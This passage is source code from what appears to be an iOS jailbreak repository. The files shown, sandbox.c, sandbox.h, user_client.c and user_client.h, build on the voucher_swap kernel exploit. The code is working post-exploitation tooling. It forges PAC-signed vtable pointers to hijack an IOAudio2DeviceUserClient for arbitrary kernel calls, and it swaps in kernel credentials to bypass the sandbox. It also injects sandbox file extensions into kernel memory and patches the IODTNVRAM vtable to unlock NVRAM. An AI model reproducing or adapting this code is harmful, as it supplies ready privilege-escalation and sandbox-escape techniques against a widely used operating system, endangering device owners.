// idk 34 | }; 35 | 36 | uint64_t _smalloc(uint64_t size) { 37 | return kernel_call_7(find_smalloc(), 1, size); 38 | } 39 | 40 | uint64_t smalloc(uint64_t size) { 41 | uint64_t ret = _smalloc(size); 42 | 43 | if (ret != 0) { 44 | // IOAlloc's of small size go to zalloc 45 | ret = zm_fix_addr(ret); 46 | } 47 | 48 | return ret; 49 | } 50 | 51 | uint64_t sstrdup(const char* s) { 52 | size_t slen = strlen(s) + 1; 53 | 54 | uint64_t ks = smalloc(slen); 55 | if (ks) { 56 | kwrite(ks, s, slen); 57 | } 58 | 59 | return ks; 60 | } 61 | 62 | // Notice: path should *not* end with '/' ! 63 | uint64_t extension_create_file(const char* path, uint64_t nextptr) { 64 | size_t slen = strlen(path); 65 | 66 | if (path[slen - 1] == '/') { 67 | printf("No traling slash in path pls"); 68 | return 0; 69 | } 70 | 71 | uint64_t ext_p = smalloc(sizeof(struct extension)); 72 | uint64_t ks = sstrdup(path); 73 | 74 | if (ext_p && ks) { 75 | struct extension ext; 76 | bzero(&ext, sizeof(ext)); 77 | ext.next = (extension_t)nextptr; 78 | ext.desc = 0xffffffffffffffff; 79 | 80 | ext.type = 0; 81 | ext.subtype = 0; 82 | 83 | ext.data = (void*)ks; 84 | ext.data_len = slen; 85 | 86 | ext.num = 1; 87 | ext.num3 = 1; 88 | 89 | kwrite(ext_p, &ext, sizeof(ext)); 90 | } else { 91 | // XXX oh no a leak 92 | } 93 | 94 | return ext_p; 95 | } 96 | 97 | int hashing_magic(const char *desc) { 98 | unsigned int hashed; 99 | char ch, ch2; 100 | char *chp; 101 | 102 | ch = *desc; 103 | 104 | if (*desc) { 105 | chp = (char *)(desc + 1); 106 | hashed = 0x1505; 107 | 108 | do { 109 | hashed = 33 * hashed + ch; 110 | ch2 = *chp++; 111 | ch = ch2; 112 | } 113 | while (ch2); 114 | } 115 | else hashed = 0x1505; 116 | 117 | return hashed % 9; 118 | } 119 | 120 | static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only"; 121 | 122 | uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) { 123 | struct extension_hdr hdr; 124 | 125 | uint64_t khdr = smalloc(sizeof(hdr) + strlen(key) + 1); 126 | 127 | if (khdr) { 128 | // we add headers to end 129 | hdr.next = 0; 130 | hdr.ext_lst = ext_lst; 131 | 132 | kwrite(khdr, &hdr, sizeof(hdr)); 133 | kwrite(khdr + offsetof(struct extension_hdr, desc), key, strlen(key) + 1); 134 | } 135 | 136 | return khdr; 137 | } 138 | 139 | void extension_add(uint64_t ext, uint64_t sb, const char* desc) { 140 | // XXX patchfinder + kexecute would be way better 141 | 142 | int slot = hashing_magic(ent_key); 143 | uint64_t ext_table = rk64(sb + sizeof(void *)); 144 | uint64_t insert_at_p = ext_table + slot * sizeof(void*); 145 | uint64_t insert_at = rk64(insert_at_p); 146 | 147 | while (insert_at != 0) { 148 | uint64_t kdsc = insert_at + offsetof(struct extension_hdr, desc); 149 | 150 | if (kstrcmp(kdsc, desc) == 0) { 151 | break; 152 | } 153 | 154 | insert_at_p = insert_at; 155 | insert_at = rk64(insert_at); 156 | } 157 | 158 | if (insert_at == 0) { 159 | insert_at = make_ext_hdr(ent_key, ext); 160 | wk64(insert_at_p, insert_at); 161 | } else { 162 | // XXX no duplicate check 163 | uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst); 164 | uint64_t ext_lst = rk64(ext_lst_p); 165 | 166 | while (ext_lst != 0) { 167 | printf("ext_lst_p = 0x%llx ext_lst = 0x%llx", ext_lst_p, ext_lst); 168 | ext_lst_p = ext_lst + offsetof(struct extension, next); 169 | ext_lst = rk64(ext_lst_p); 170 | } 171 | 172 | printf("ext_lst_p = 0x%llx ext_lst = 0x%llx", ext_lst_p, ext_lst); 173 | 174 | wk64(ext_lst_p, ext); 175 | } 176 | } 177 | 178 | // 1 if yes 179 | int has_file_extension(uint64_t sb, const char* path) { 180 | const char* desc = ent_key; 181 | int found = 0; 182 | 183 | int slot = hashing_magic(ent_key); 184 | uint64_t ext_table = rk64(sb + sizeof(void *)); 185 | uint64_t insert_at_p = ext_table + slot * sizeof(void*); 186 | uint64_t insert_at = rk64(insert_at_p); 187 | 188 | while (insert_at != 0) { 189 | uint64_t kdsc = insert_at + offsetof(struct extension_hdr, desc); 190 | 191 | if (kstrcmp(kdsc, desc) == 0) { 192 | break; 193 | } 194 | 195 | insert_at_p = insert_at; 196 | insert_at = rk64(insert_at); 197 | } 198 | 199 | if (insert_at != 0) { 200 | uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst)); 201 | 202 | uint64_t plen = strlen(path); 203 | char *exist = malloc(plen + 1); 204 | exist[plen] = '\0'; 205 | 206 | while (ext_lst != 0) { 207 | // XXX no type/subtype check 208 | uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len)); 209 | if (data_len == plen) { 210 | uint64_t data = rk64(ext_lst + offsetof(struct extension, data)); 211 | kread(data, exist, plen); 212 | 213 | if (strcmp(path, exist) == 0) { 214 | found = 1; 215 | break; 216 | } 217 | } 218 | 219 | ext_lst = rk64(ext_lst); 220 | } 221 | 222 | free(exist); 223 | } 224 | 225 | return found; 226 | } 227 | -------------------------------------------------------------------------------- /sandbox.h: -------------------------------------------------------------------------------- 1 | 2 | // see https://stek29.rocks/2018/01/26/sandbox.html 3 | 4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc); 5 | uint64_t extension_create_file(const char* path, uint64_t nextptr); 6 | int has_file_extension(uint64_t sb, const char* path); 7 | -------------------------------------------------------------------------------- /user_client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.c 3 | * Brandon Azad 4 | */ 5 | #include "user_client.h" 6 | 7 | #include 8 | 9 | #include "IOKitLib.h" 10 | #include "kernel_call.h" 11 | #include "kc_parameters.h" 12 | #include "pac.h" 13 | #include "kernel_memory.h" 14 | #include "kernel_slide.h" 15 | #include "log.h" 16 | #include "mach_vm.h" 17 | #include "parameters.h" 18 | #include "kern_utils.h" 19 | 20 | // ---- Global variables -------------------------------------------------------------------------- 21 | 22 | // The connection to the user client. 23 | static io_connect_t connection; 24 | 25 | // The address of the user client. 26 | static uint64_t user_client; 27 | 28 | // The address of the IOExternalTrap. 29 | static uint64_t trap; 30 | 31 | // The size of our kernel buffer. 32 | static const size_t kernel_buffer_size = 0x4000; 33 | 34 | // The address of our kernel buffer. 35 | static uint64_t kernel_buffer; 36 | 37 | // The maximum size of the vtable. 38 | static const size_t max_vtable_size = 0x1000; 39 | 40 | // The user client's original vtable pointer. 41 | static uint64_t original_vtable; 42 | 43 | static uint64_t original_nvram_vtable = 0; 44 | static uint64_t fake_nvram_vtable = 0; 45 | static io_service_t IODTNVRAMSrv = MACH_PORT_NULL; 46 | 47 | // it always returns false 48 | const uint64_t searchNVRAMProperty = 0x590; 49 | // 0 corresponds to root only 50 | const uint64_t getOFVariablePerm = 0x558; 51 | 52 | // get kernel address of IODTNVRAM object 53 | uint64_t get_iodtnvram_obj(void) { 54 | if (!MACH_PORT_VALID(IODTNVRAMSrv)) { 55 | IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 56 | }; 57 | assert(MACH_PORT_VALID(IODTNVRAMSrv)); 58 | uint64_t nvram_up; 59 | bool ok = kernel_ipc_port_lookup(current_task, IODTNVRAMSrv, &nvram_up, NULL); 60 | assert(ok); 61 | uint64_t IODTNVRAMObj = kernel_read64(nvram_up + OFFSET(ipc_port, ip_kobject)); 62 | return IODTNVRAMObj; 63 | } 64 | 65 | void unlocknvram(void) { 66 | uint64_t obj = get_iodtnvram_obj(); 67 | 68 | original_nvram_vtable = kernel_read64(obj); 69 | uint64_t vtable_xpac = kernel_xpacd(original_nvram_vtable); 70 | // copy vtable to userspace 71 | uint64_t *buf = calloc(1, max_vtable_size); 72 | assert(buf); 73 | DEBUG_TRACE(2, "nvram vtable at 0x%016llx (unslid: 0x%016llx)", vtable_xpac, vtable_xpac-kernel_slide); 74 | 75 | kernel_read(vtable_xpac, buf, max_vtable_size); 76 | 77 | /* 78 | // bruteforce unknown types (too lazy for static analysys) 79 | for (size_t i=0; i < max_vtable_size/sizeof(*buf); ++i) { 80 | uint16_t type = 1; 81 | if (i < VTABLE_PAC_CODES(IODTNVRAM).count) { 82 | type = VTABLE_PAC_CODES(IODTNVRAM).codes[i]; 83 | } 84 | 85 | uint64_t expected = buf[i]; 86 | if (expected == 0) { 87 | break; 88 | } 89 | uint64_t ctx_addr = vtable_xpac + i * sizeof(*buf); 90 | uint64_t addr = kernel_xpaci(expected); 91 | 92 | uint64_t actual = 0; 93 | 94 | while (type != 0) { 95 | actual = kernel_forge_pacia_with_type(addr, ctx_addr, type); 96 | if (actual == expected) { 97 | break; 98 | } 99 | type++; 100 | } 101 | if (actual == expected) { 102 | DEBUG_TRACE(1, "type for %03zu: 0x%04x", i, type); 103 | } else { 104 | DEBUG_TRACE(1, "type for %03zu: FAIL ", i); 105 | } 106 | } 107 | return free(buf); 108 | */ 109 | // alter it 110 | buf[getOFVariablePerm/sizeof(uint64_t)] = kernel_xpaci(buf[searchNVRAMProperty/sizeof(uint64_t)]); 111 | 112 | // allocate buffer in kernel 113 | kern_return_t kr = mach_vm_allocate(tfpzero, &fake_nvram_vtable, 114 | kernel_buffer_size, VM_FLAGS_ANYWHERE); 115 | if (kr != KERN_SUCCESS) { 116 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); 117 | ERROR("could not allocate kernel buffer"); 118 | } 119 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", fake_nvram_vtable); 120 | 121 | // Forge the pacia pointers to the virtual methods. 122 | size_t count = 0; 123 | for (; count < max_vtable_size / sizeof(*buf); count++) { 124 | uint64_t vmethod = buf[count]; 125 | if (vmethod == 0) { 126 | break; 127 | } 128 | //#if __arm64e__ 129 | assert(count < VTABLE_PAC_CODES(IODTNVRAM).count); 130 | // DEBUG_TRACE(1, "for %03zu, current 0x%016llx, calculated 0x%016llx", count, vmethod, 131 | // kernel_forge_pacia_with_type(kernel_xpaci(vmethod), vtable_xpac+count * sizeof(*buf), 132 | // VTABLE_PAC_CODES(IODTNVRAM).codes[count])); 133 | vmethod = kernel_xpaci(vmethod); 134 | uint64_t vmethod_address = fake_nvram_vtable + count * sizeof(*buf); 135 | buf[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, 136 | VTABLE_PAC_CODES(IODTNVRAM).codes[count]); 137 | //#endif // __arm64e__ 138 | } 139 | 140 | // and copy it back 141 | kernel_write(fake_nvram_vtable, buf, count*sizeof(*buf)); 142 | // replace vtable on IODTNVRAM object 143 | kernel_write64(obj, kernel_forge_pacda(fake_nvram_vtable, 0)); 144 | free(buf); 145 | } 146 | 147 | void locknvram(void) { 148 | if (fake_nvram_vtable == 0 || original_nvram_vtable == 0) return; 149 | 150 | if (original_nvram_vtable != 0) { 151 | uint64_t obj = get_iodtnvram_obj(); 152 | kernel_write64(obj, original_nvram_vtable); 153 | } 154 | 155 | if (fake_nvram_vtable != 0) { 156 | mach_vm_deallocate(mach_task_self(), fake_nvram_vtable, kernel_buffer_size); 157 | fake_nvram_vtable = 0; 158 | } 159 | 160 | if (MACH_PORT_VALID(IODTNVRAMSrv)) { 161 | IOServiceClose(IODTNVRAMSrv); 162 | IODTNVRAMSrv = MACH_PORT_NULL; 163 | } 164 | } 165 | 166 | 167 | // ---- Stage 1 ----------------------------------------------------------------------------------- 168 | 169 | /* 170 | * kernel_get_proc_for_task 171 | * 172 | * Description: 173 | * Get the proc struct for a task. 174 | */ 175 | static uint64_t 176 | kernel_get_proc_for_task(uint64_t task) { 177 | return kernel_read64(task + OFFSET(task, bsd_info)); 178 | } 179 | 180 | /* 181 | * stage0_create_user_client 182 | * 183 | * Description: 184 | * Create a connection to an IOAudio2DeviceUserClient object. 185 | */ 186 | static bool 187 | stage0_create_user_client() { 188 | bool success = false; 189 | // First get a handle to some IOAudio2Device driver. 190 | io_iterator_t iter; 191 | kern_return_t kr = IOServiceGetMatchingServices( 192 | kIOMasterPortDefault, 193 | IOServiceMatching("IOAudio2Device"), 194 | &iter); 195 | if (iter == MACH_PORT_NULL) { 196 | ERROR("could not find services matching %s", "IOAudio2Device"); 197 | goto fail_0; 198 | } 199 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be 200 | // denied with a sandbox error. 201 | uint64_t ucred_field, ucred; 202 | assume_kernel_credentials(&ucred_field, &ucred); 203 | // Now try to open each service in turn. 204 | for (;;) { 205 | // Get the service. 206 | mach_port_t IOAudio2Device = IOIteratorNext(iter); 207 | if (IOAudio2Device == MACH_PORT_NULL) { 208 | ERROR("could not open any %s", "IOAudio2Device"); 209 | break; 210 | } 211 | // Now open a connection to it. 212 | kr = IOServiceOpen( 213 | IOAudio2Device, 214 | mach_task_self(), 215 | 0, 216 | &connection); 217 | IOObjectRelease(IOAudio2Device); 218 | if (kr == KERN_SUCCESS) { 219 | success = true; 220 | break; 221 | } 222 | DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr)); 223 | DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient"); 224 | } 225 | // Restore the credentials. 226 | restore_credentials(ucred_field, ucred); 227 | fail_1: 228 | IOObjectRelease(iter); 229 | fail_0: 230 | return success; 231 | } 232 | 233 | /* 234 | * stage0_find_user_client_trap 235 | * 236 | * Description: 237 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap. 238 | */ 239 | static void 240 | stage0_find_user_client_trap() { 241 | assert(MACH_PORT_VALID(connection)); 242 | // Get the address of the port representing the IOAudio2DeviceUserClient. 243 | uint64_t user_client_port; 244 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL); 245 | assert(ok); 246 | // Get the address of the IOAudio2DeviceUserClient. 247 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject)); 248 | // Get the address of the IOExternalTrap. 249 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps)); 250 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap); 251 | } 252 | 253 | /* 254 | * stage0_allocate_kernel_buffer 255 | * 256 | * Description: 257 | * Allocate a buffer in kernel memory. 258 | */ 259 | static bool 260 | stage0_allocate_kernel_buffer() { 261 | kern_return_t kr = mach_vm_allocate(tfpzero, &kernel_buffer, 262 | kernel_buffer_size, VM_FLAGS_ANYWHERE); 263 | if (kr != KERN_SUCCESS) { 264 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); 265 | ERROR("could not allocate kernel buffer"); 266 | return false; 267 | } 268 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer); 269 | return true; 270 | } 271 | 272 | // ---- Stage 3 ----------------------------------------------------------------------------------- 273 | 274 | /* 275 | * kernel_read_vtable_method 276 | * 277 | * Description: 278 | * Read the virtual method pointer at the specified index in the vtable. 279 | */ 280 | static uint64_t 281 | kernel_read_vtable_method(uint64_t vtable, size_t index) { 282 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t); 283 | return kernel_read64(vmethod_address); 284 | } 285 | 286 | /* 287 | * stage2_copyout_user_client_vtable 288 | * 289 | * Description: 290 | * Copy out the user client's vtable to userspace. The returned array must be freed when no 291 | * longer needed. 292 | */ 293 | static uint64_t * 294 | stage2_copyout_user_client_vtable() { 295 | // Get the address of the vtable. 296 | original_vtable = kernel_read64(user_client); 297 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable); 298 | // Read the contents of the vtable to local buffer. 299 | uint64_t *vtable_contents = malloc(max_vtable_size); 300 | assert(vtable_contents != NULL); 301 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size); 302 | return vtable_contents; 303 | } 304 | 305 | /* 306 | * stage2_patch_user_client_vtable 307 | * 308 | * Description: 309 | * Patch the contents of the user client's vtable in preparation for stage 3. 310 | */ 311 | static size_t 312 | stage2_patch_user_client_vtable(uint64_t *vtable) { 313 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the 314 | // original version (which calls IOUserClient::getExternalTrapForIndex()). 315 | uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method( 316 | ADDRESS(IOUserClient__vtable), 317 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)); 318 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)] 319 | = IOUserClient__getTargetAndTrapForIndex; 320 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with 321 | // IORegistryEntry::getRegistryEntryID(). 322 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] = 323 | ADDRESS(IORegistryEntry__getRegistryEntryID); 324 | // Forge the pacia pointers to the virtual methods. 325 | size_t count = 0; 326 | for (; count < max_vtable_size / sizeof(*vtable); count++) { 327 | uint64_t vmethod = vtable[count]; 328 | if (vmethod == 0) { 329 | break; 330 | } 331 | //#if __arm64e__ 332 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count); 333 | vmethod = kernel_xpaci(vmethod); 334 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable); 335 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address, 336 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]); 337 | //#endif // __arm64e__ 338 | } 339 | return count; 340 | } 341 | 342 | /* 343 | * stage2_patch_user_client 344 | * 345 | * Description: 346 | * Patch the user client in preparation for stage 3. 347 | */ 348 | static void 349 | stage2_patch_user_client(uint64_t *vtable, size_t count) { 350 | // Write the vtable to the kernel buffer. 351 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable)); 352 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap. 353 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved); 354 | uint64_t reserved = kernel_read64(reserved_field); 355 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 356 | kernel_write64(id_field, trap); 357 | // Forge the pacdza pointer to the vtable. 358 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0); 359 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable. 360 | kernel_write64(user_client, vtable_pointer); 361 | } 362 | 363 | /* 364 | * stage2_unpatch_user_client 365 | * 366 | * Description: 367 | * Undo the patches to the user client. 368 | */ 369 | static void 370 | stage2_unpatch_user_client() { 371 | // Write the original vtable pointer back to the user client. 372 | kernel_write64(user_client, original_vtable); 373 | } 374 | 375 | // ---- API --------------------------------------------------------------------------------------- 376 | 377 | bool 378 | stage1_kernel_call_init() { 379 | // Initialize the parameters. We do this first to fail early. 380 | bool ok = kernel_call_parameters_init(); 381 | if (!ok) { 382 | return false; 383 | } 384 | // Create the IOAudio2DeviceUserClient. 385 | ok = stage0_create_user_client(); 386 | if (!ok) { 387 | ERROR("could not create %s", "IOAudio2DeviceUserClient"); 388 | return false; 389 | } 390 | // Find the IOAudio2DeviceUserClient's IOExternalTrap. 391 | stage0_find_user_client_trap(); 392 | // Allocate the kernel buffer. 393 | ok = stage0_allocate_kernel_buffer(); 394 | if (!ok) { 395 | return false; 396 | } 397 | return true; 398 | } 399 | 400 | void 401 | stage1_kernel_call_deinit() { 402 | if (trap != 0) { 403 | // Zero out the trap. 404 | uint8_t trap_data[SIZE(IOExternalTrap)]; 405 | memset(trap_data, 0, SIZE(IOExternalTrap)); 406 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 407 | trap = 0; 408 | } 409 | if (kernel_buffer != 0) { 410 | // Deallocate our kernel buffer. 411 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size); 412 | kernel_buffer = 0; 413 | } 414 | if (MACH_PORT_VALID(connection)) { 415 | // Close the connection. 416 | IOServiceClose(connection); 417 | connection = MACH_PORT_NULL; 418 | } 419 | } 420 | 421 | uint64_t 422 | stage1_get_kernel_buffer() { 423 | assert(kernel_buffer_size >= 0x2000); 424 | return kernel_buffer + kernel_buffer_size - 0x1000; 425 | } 426 | 427 | uint32_t 428 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 429 | assert(function != 0); 430 | assert(argument_count <= 7); 431 | assert(argument_count == 0 || arguments[0] != 0); 432 | assert(MACH_PORT_VALID(connection) && trap != 0); 433 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments. 434 | uint64_t args[7] = { 1 }; 435 | for (size_t i = 0; i < argument_count && i < 7; i++) { 436 | args[i] = arguments[i]; 437 | } 438 | // Initialize the IOExternalTrap for this call. 439 | uint8_t trap_data[SIZE(IOExternalTrap)]; 440 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0]; 441 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function; 442 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0; 443 | kernel_write(trap, trap_data, SIZE(IOExternalTrap)); 444 | // Perform the function call. 445 | uint32_t result = IOConnectTrap6(connection, 0, 446 | args[1], args[2], args[3], args[4], args[5], args[6]); 447 | return result; 448 | } 449 | 450 | bool 451 | stage3_kernel_call_init() { 452 | uint64_t *vtable = stage2_copyout_user_client_vtable(); 453 | size_t count = stage2_patch_user_client_vtable(vtable); 454 | stage2_patch_user_client(vtable, count); 455 | free(vtable); 456 | return true; 457 | } 458 | 459 | void 460 | stage3_kernel_call_deinit() { 461 | if (original_vtable != 0) { 462 | stage2_unpatch_user_client(); 463 | original_vtable = 0; 464 | } 465 | } 466 | 467 | uint32_t 468 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) { 469 | return stage2_kernel_call_7v(function, argument_count, arguments); 470 | } 471 | 472 | void 473 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) { 474 | uint64_t proc_self = kernel_get_proc_for_task(current_task); 475 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task); 476 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred); 477 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred); 478 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field); 479 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field); 480 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred); 481 | *ucred_field = proc_self_ucred_field; 482 | *ucred = proc_self_ucred; 483 | } 484 | 485 | void 486 | restore_credentials(uint64_t ucred_field, uint64_t ucred) { 487 | kernel_write64(ucred_field, ucred); 488 | } 489 | -------------------------------------------------------------------------------- /user_client.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * stage1_kernel_call_init 14 | * 15 | * Description: 16 | * Initialize stage 1 of kernel function calling. 17 | * 18 | * Initializes: 19 | * kernel_call_parameters_init() 20 | * stage1_kernel_call_7v() 21 | */ 22 | bool stage1_kernel_call_init(void); 23 | 24 | /* 25 | * stage1_kernel_call_deinit 26 | * 27 | * Description: 28 | * Deinitialize stage 1 of kernel function calling. 29 | */ 30 | void stage1_kernel_call_deinit(void); 31 | 32 | /* 33 | * stage1_get_kernel_buffer 34 | * 35 | * Description: 36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other 37 | * stages. 38 | */ 39 | uint64_t stage1_get_kernel_buffer(void); 40 | 41 | /* 42 | * stage1_kernel_call_7v 43 | * 44 | * Description: 45 | * Call a kernel function using our stage 1 execute primitive. 46 | * 47 | * Restrictions: 48 | * At most 7 arguments can be passed. 49 | * The return value is truncated to 32 bits. 50 | * At stage 1, only arguments X1 - X6 are controlled. 51 | * The function pointer must already have a PAC signature. 52 | */ 53 | uint32_t stage1_kernel_call_7v(uint64_t function, 54 | size_t argument_count, const uint64_t arguments[]); 55 | 56 | /* 57 | * stage3_kernel_call_init 58 | * 59 | * Description: 60 | * Initialize stage 3 of kernel function calling. 61 | * 62 | * Initializes: 63 | * kernel_call_7v() 64 | */ 65 | bool stage3_kernel_call_init(void); 66 | 67 | /* 68 | * stage3_kernel_call_deinit 69 | * 70 | * Description: 71 | * Deinitialize stage 3 of kernel function calling. 72 | */ 73 | void stage3_kernel_call_deinit(void); 74 | 75 | /* 76 | * assume_kernel_credentials 77 | * 78 | * Description: 79 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox 80 | * checks. 81 | */ 82 | void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred); 83 | /* 84 | * restore_credentials 85 | * 86 | * Description: 87 | * Restore this process's credentials after calling assume_kernel_credentials(). 88 | */ 89 | void restore_credentials(uint64_t ucred_field, uint64_t ucred); 90 | 91 | void unlocknvram(void); 92 | void locknvram(void); 93 | #endif 94 | --------------------------------------------------------------------------------